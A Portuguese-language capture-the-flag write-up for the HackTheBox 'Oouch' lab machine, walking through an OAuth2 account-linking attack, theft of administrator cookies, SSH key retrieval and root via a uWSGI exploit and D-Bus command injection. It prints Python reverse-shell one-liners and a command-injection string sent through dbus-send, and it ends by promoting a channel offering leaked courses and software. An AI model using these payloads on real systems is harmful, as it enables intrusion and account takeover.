
Continuo publicando soluções enviadas para finalização de máquinas da plataforma HackTheBox .
Neste artigo, analisaremos o ataque à autenticação OAuth2 e também registraremos nosso aplicativo para sequestrar cookies de administrador. Além disso, executaremos o RCE no servidor web e no servidor de aplicativos web uWSGI, e também elevaremos os privilégios por meio do barramento de mensagem D-Bus.
A conexão com o laboratório é via VPN. É recomendável não se conectar de um computador de trabalho ou de um host onde haja dados importantes para você, pois você se encontra em uma rede privada com pessoas que sabem alguma coisa sobre segurança da informação.
Informação organizacional
Recon
Esta máquina tem um endereço IP de 10.10.10.177, que adicionei a / etc / hosts.
10.10.10.177 oouch.htb
A primeira etapa é verificar as portas abertas. Uma vez que leva muito tempo para escanear todas as portas com nmap, primeiro farei isso usando masscan. Verificamos todas as portas TCP e UDP da interface tun0 a 500 pacotes por segundo.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.182 --rate=500

Agora, para obter informações mais detalhadas sobre os serviços executados nas portas, execute uma varredura com a opção -A.
nmap -A oouch.htb -p8000,22,21,5000,5555

Assim, temos:
- A porta 22 é SSH.
- A porta 8000 é o servidor da web respondendo com o código 400.
- Porta 5000 - servidor web, redireciona para a página de autorização.
- Porta 21 - FTP, onde se encontra o arquivo project.txt, acessível com autorização do anônimo.
Vá para FTP como anônimo, baixe o arquivo e veja.


Não nos diz nada. Vamos para o servidor da web.

Conforme segue do relatório nmap, ocorre um redirecionamento para a página de autorização. Existe a possibilidade de registro, vamos nos registrar e fazer o login.



Assim, o site está em desenvolvimento, armazena um mínimo de informações sobre os usuários, tem a capacidade de armazenar documentos (esta opção está disponível apenas para o desenvolvedor), e também tem feedback das administrações. Temos certeza de que o administrador do sistema lê todas as mensagens.
Ao tentar roubar cookies, a tag foi bloqueada (aliás, ela não está mais bloqueada).

Não encontrando nenhum vetor, decidiu-se fazer uma varredura nos diretórios.
dirb http://oouch.htb:5000/

E encontramos um diretório oculto oauth.

Vamos adicionar este domínio a / etc / hosts.
10.10.10.177 consumer.oouch.htb

Mas há um redirecionamento. Vamos adicionar este domínio a / etc / hosts.
10.10.10.177 authorization.oouch.htb

Mais uma vez atende a página de login. Nós logamos com as mesmas credenciais. Mas com uma nova tentativa, somos transferidos para a porta 8000.
consumer.oouch.htb : 5000 / oauth / connect -> autorização.oouch.htb : 8000 / login /

Tendo verificado os diretórios imediatamente , não encontramos nada de interessante, então nos registramos aqui também.

E encontre um novo diretório que o dirb não encontrou. Vamos pesquisar.
dirb http://authorization.oouch.htb:8000/oauth

Existe mais um diretório! Mas aí somos recebidos pela autenticação HTTP.

Nós fazemos isso neste diretório também.
dirb http://authorization.oouch.htb:8000/oauth/applications/

Os aplicativos mais prováveis estão localizados neste diretório e podem ser registrados. Não encontramos nada mais interessante aqui.
Ao se registrar onde for necessário, voltamos à conexão original. A autenticação OAuth é usada.
Autenticação OAuth
OAuth é um protocolo de autorização aberto que permite que você forneça a terceiros acesso limitado aos recursos protegidos de um usuário sem a necessidade de transferir um login e senha para o terceiro.
OAuth usa três tipos de credenciais: credenciais de cliente, credenciais temporárias e credenciais de token.
Etapas do protocolo OAuth 2.0:
- . (client ID), (client secret), URI (redirect URI) .
- , authorization grant.
- , .
- , , ( ). .
- .
- , .

Dessa forma, a conta do usuário é associada a recursos específicos no servidor de recursos.
Ataque Oauth
Este protocolo pode ser atacado, o que nos permite vincular nossa conta aos recursos de outro usuário. Para fazer isso, você não precisa usar seu token de acesso único, mas forçar outro usuário a transferi-lo para o servidor. Em seguida, a conta que possui o token será associada aos recursos da conta que o forneceu.
Como o administrador do sistema responde a todas as mensagens, é possível que ele siga o link que iremos enviar a ele. Além disso, neste aplicativo, o token de acesso não é passado no cabeçalho HTTP (como deveria ser), mas no parâmetro URL. Assim podemos realizar este ataque.
Vá para consumer.oouch.htb : 5000 / oauth / connect e pegue-o usando o Burp Suite.

Ignoramos esta solicitação e somos redirecionados com o parâmetro de ID do cliente.

Também pulamos esta solicitação. O redirecionamento segue novamente, onde podemos observar outros parâmetros do protocolo de autenticação.

Pule a solicitação novamente. Uma janela de autorização aparece na página. Para finalizar, clique no botão de autorização.


Ignoramos esta solicitação. E agora estamos sendo redirecionados novamente, com um código único como parâmetro!

Vamos salvar este token e descartar a solicitação. Vamos enviar este link para o administrador para que quando ele o seguir, nossa conta fique vinculada aos seus recursos (e se você se lembrar, ele tem o direito de guardar documentos).

Agora vamos passar por consumer.oouch.htb : 5000 / oauth / login.



Clicamos no botão já familiarizado, e na página aberta observamos o perfil do usuário qtc.

Vamos ver a documentação.

Existem registros sobre a chave SSH, diretório do usuário e credenciais para registrar aplicativos.
Ponto de entrada
Se conseguirmos registrar nosso aplicativo, podemos forçar o administrador a acessá-lo e descobrir seus cookies!
Vamos voltar para a página de registro do aplicativo e fazer login. E no formulário que se abre, vamos cadastrar uma nova aplicação, indicando o tipo público do cliente, o tipo de código da autorização concedida e indicar a porta aberta no host local para conexão.

Salvamos nosso ID e segredo do cliente. Vamos tentar nos autenticar para verificar se a autenticação está funcionando e o usuário será redirecionado para nós.
Vamos formar um link, especificar os dados do aplicativo cadastrado nos parâmetros correspondentes:
autorização.oouch.htb: 8000 / oauth / autorizar / client_id = MP2A40aHGaTtXQxFrElh7b0wn8RyKzaiV6NgAaHs & redirect_uri = http: //10.10.14.203: 4321 & grant_type = authorization_code & client_secret = e3B28aHhwKktAeio6MoeAi6kssfgc8daNfWsZBHBmnKViS4TkyERpfOlpiuHCZqw1nnOayfifLpY9bwN9J7oGfbcoAVGP1Z4x1DpCG7tVRMF5Wk9wVbAYjIy7Q7wmmt6
Agora segui-lo para ver a conexão.

Já que tudo funciona, vamos enviar para o administrador.

É assim que reconhecemos seus cookies. Vamos aplicá-los.

E estamos logados no servidor como qtc.
DO UTILIZADOR
Para acessar o recurso, precisamos de um token e, para que o servidor nos devolva, mudaremos o tipo de concessão de autorização para client_credentials.

E solicitaremos o token usando curl: defina o método POST (-X), os cabeçalhos HTTP necessários (-H), os cookies, os dados que queremos enviar e também permita o redirecionamento (-L). Como a resposta é retornada no formato JSON, usamos jq para exibir a resposta de maneira adequada.
curl -X POST 'http://authorization.oouch.htb:8000/oauth/token/' -H “Content-Type: application/x-www-form-urlencoded” --cookie
"csrftoken=sxOyInmM9PVewqQ8hDs0Z7k8heooUekr4MBiEi6SpB0vvUv55adzecadiDqGw4IK;sessionid=f6efischf0ppp14yp9q71ave5ev0lvcf" --data “grant_type=client_credentials&client_id=MP2A40aHGaTtXQxFrElh7b0wn8RyKzaiV6NgAaHs&client_secret=e3B28aHhwKktAeio6MoeAi6kssfgc8daNfWsZBHBmnKViS4TkyERpfOlpiuHCZqw1nnOayfifLpY9bwN9J7oGfbcoAVGP1Z4x1DpCG7tVRMF5Wk9wVbAYjIy7Q7wmmt6” -L -s | jq

Recebemos um token. E agora podemos recorrer ao recurso que foi listado nos documentos. Vamos fazer isso com o curl também.
curl "http://authorization.oouch.htb:8000/api/get_user.txt/?access_token=p6gmg7DqbR9kS2BVS9vRQRolGsOhbU" --cookie
"csrftoken=sxOyInmM9PVewqQ8hDs0Z7k8heooUekr4MBiEi6SpB0vvUv55adzecadiDqGw4IK;sessionid=f6efischf0ppp14yp9q71ave5ev0lvcf" | jq

Como esperado, recebemos informações sobre o usuário. Mas eu não sabia o que fazer a seguir! A suposição veio apenas quando eles me sugeriram “API para obter dados do usuário está pronta, mas há planos para obter a chave SSH”. Então pensei que, por analogia com a API get_user, para obter informações sobre um usuário, deveria tentar chamar get_ssh.
curl "http://authorization.oouch.htb:8000/api/get_ssh/?access_token=p6gmg7DqbR9kS2BVS9vRQRolGsOhbU" --cookie "csr
ftoken=sxOyInmM9PVewqQ8hDs0Z7k8heooUekr4MBiEi6SpB0vvUv55adzecadiDqGw4IK;sessionid=f6efischf0ppp14yp9q71ave5ev0lvcf" | jq

E obtemos a chave qtc do usuário. Depois de trazê-lo à sua forma normal, nos conectamos ao host e pegamos o usuário.

RAIZ
Para recon'a no host, execute LinPEAS. Como resultado, encontramos uma nota deixada pela raiz.


E além do fato de que docker está sendo executado no host e na chave ssh privada, não encontramos nada.

O mais provável é que o vetor de ataque vá para o docker. Além disso, a nota menciona DBus e iptables. Todo mundo já conhece o iptables, mas DBus é outra questão. Dbus ou Desktop Bus é um sistema que é usado principalmente no sistema operacional Linux para permitir que vários aplicativos e serviços se comuniquem entre si.
Vamos dar uma olhada nas interfaces de rede encontradas.

E vemos 2 hosts. Conseguimos entrar no primeiro.

E encontre o diretório / código.

Em start.sh encontramos o uso de uwsgi.

E em routes.py encontramos o uso de dbus.


Assim, o usuário do serviço tem o direito de utilizar o dbus. Ou seja, precisamos obter uma concha.
uWSGI é um servidor da web e um servidor de aplicativos da web originalmente implementado para executar aplicativos Python sobre o protocolo WSGI. Utilizado para rodar aplicações baseadas em frameworks Django, Flask e outros. Vamos procurar exploits.

Baixe o primeiro e carregue-o no host.
scp -i .ssh/id_rsa uwsgi-exp.py 172.18.0.5:~/
Vamos começar.

Portanto, precisamos de um soquete uwsgi. Além disso, o serviço está em execução.

Isso significa que o soquete também estará no diretório tmp.

Vamos executar o exploit com todos os parâmetros.

Dá um erro na importação de bytes, vamos entrar e mudar o código fonte.


Se você executar o exploit novamente, ele funcionará, mas não funcionará. Substituí o shell bash por python. Funcionou.
python uwsgi-exp.py -m unix -u /tmp/uwsgi.socket -c "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"172.18.0.1\",5432));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"

No terminal com o netcat vemos a conexão.

E agora temos os direitos de rodar dbus. O comando dbus-send é usado para enviar uma mensagem ao barramento de mensagem D-Bus. Existem dois barramentos de mensagens bem conhecidos: o barramento de mensagens para todo o sistema e o barramento de mensagens para a sessão de login do usuário. Para usar dbus-send você precisa saber o “nome da conexão”, que é especificado no parâmetro --dest. O caminho para o objeto e o nome da mensagem a ser enviada devem sempre ser especificados. Os seguintes argumentos, se houver, são o conteúdo da mensagem (argumentos da mensagem). Eles são fornecidos como o nome do tipo, dois pontos e, a seguir, o valor do argumento. Nomes de tipo possíveis: string, int32, uint32, double, byte, boolean.
Comando de exemplo:
dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block “string:; SHELL”
Usamos --print-reply para bloquear a resposta à solicitação.
dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block "string:;python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"172.18.0.1\",6543));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"])';"

E vemos uma conexão bem-sucedida.

Você pode se juntar a nós no Telegram . Lá você pode encontrar materiais interessantes, cursos que vazaram e software. Vamos reunir uma comunidade na qual haverá pessoas versadas em várias áreas de TI, para que possamos sempre ajudar uns aos outros em quaisquer questões de TI e segurança da informação.